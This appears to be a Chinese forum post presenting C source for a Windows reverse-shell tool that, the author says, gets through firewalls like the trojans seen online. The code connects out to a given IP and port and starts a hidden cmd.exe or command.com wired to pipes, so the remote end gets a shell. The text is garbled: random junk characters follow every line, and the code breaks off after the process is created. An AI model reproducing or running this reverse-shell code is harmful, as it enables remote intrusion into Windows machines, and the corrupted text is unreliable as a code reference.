这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 d"d)<f
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/* ============================== (y+5d00
Rebound port in Windows NT rCSG@D.
By wind,2006/7 l LD)i J1
===============================*/ ,Y\4xg*`
#include Zs$RKJ7
#include X_s G6Q@
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#pragma comment(lib,"wsock32.lib") t!=~5YgKs
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void OutputShell(); 7Yw\%}UL
SOCKET sClient; !DX/^b
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $Z7|t
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void main(int argc,char **argv) R:IS4AaS
{ |v%RjN
WSADATA stWsaData; 2W:?#h3
int nRet; }b]y
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SOCKADDR_IN stSaiClient,stSaiServer; kJ<Xq
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if(argc != 3) !,JT91
{ /DG`Hg
printf("Useage:\n\rRebound DestIP DestPort\n"); U9p.Dh~)vG
return; x{`<);CQ
} -TU{r_!Z(
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WSAStartup(MAKEWORD(2,2),&stWsaData); 7E75s)KH
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (Q]Y>
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stSaiClient.sin_family = AF_INET; dG~B3xg;5i
stSaiClient.sin_port = htons(0); ??%T
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); b5 C}K
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !q6V@&
{ ;pNbKf:
printf("Bind Socket Failed!\n"); *sIG&
return; ! lN a`
} ?nGf Wx^
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stSaiServer.sin_family = AF_INET; v^18o$=K",
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); rPGE-d3
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Jgv>$u
}`/n2
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .6Lhy3x
{ gZ >orZL'
printf("Connect Error!"); w4MMo
return; & Dl'*|
} JX@6Sg<
OutputShell(); ND9>`I5
} FZ.z'3I
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void OutputShell() -"dy z(
{ |9"^s x
char szBuff[1024]; ]-Y]Q%A4
SECURITY_ATTRIBUTES stSecurityAttributes; Rb}&c)4
OSVERSIONINFO stOsversionInfo; ^`r|3c0
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [BR}4(7
STARTUPINFO stStartupInfo; RJsG]`
char *szShell; `"=L
PROCESS_INFORMATION stProcessInformation; aU8Ti8A>
unsigned long lBytesRead; )E~\H+FP6
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); "JLhOTPaHf
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5<BV\'
stSecurityAttributes.lpSecurityDescriptor = 0; E4aCGg
stSecurityAttributes.bInheritHandle = TRUE; 'W2$wN+P
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); j nA_!;b
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); F t8h=
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,Yprk%JT
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Eno2<<
stStartupInfo.wShowWindow = SW_HIDE; CU^3L|f2N
stStartupInfo.hStdInput = hReadPipe; @C [|'[xQ
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,~?A.
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GetVersionEx(&stOsversionInfo); -L50kk>h
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switch(stOsversionInfo.dwPlatformId) e}yu<~v_
{ }xlmsOHuI
case 1: j{-7Pf8A
szShell = "command.com"; ;OCI.S8
break; Odjd`DD1
default: Bsk2&17z
szShell = "cmd.exe"; o^"3C1j
break; 0?;Hmq3
} [T#a1!
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); gw"l&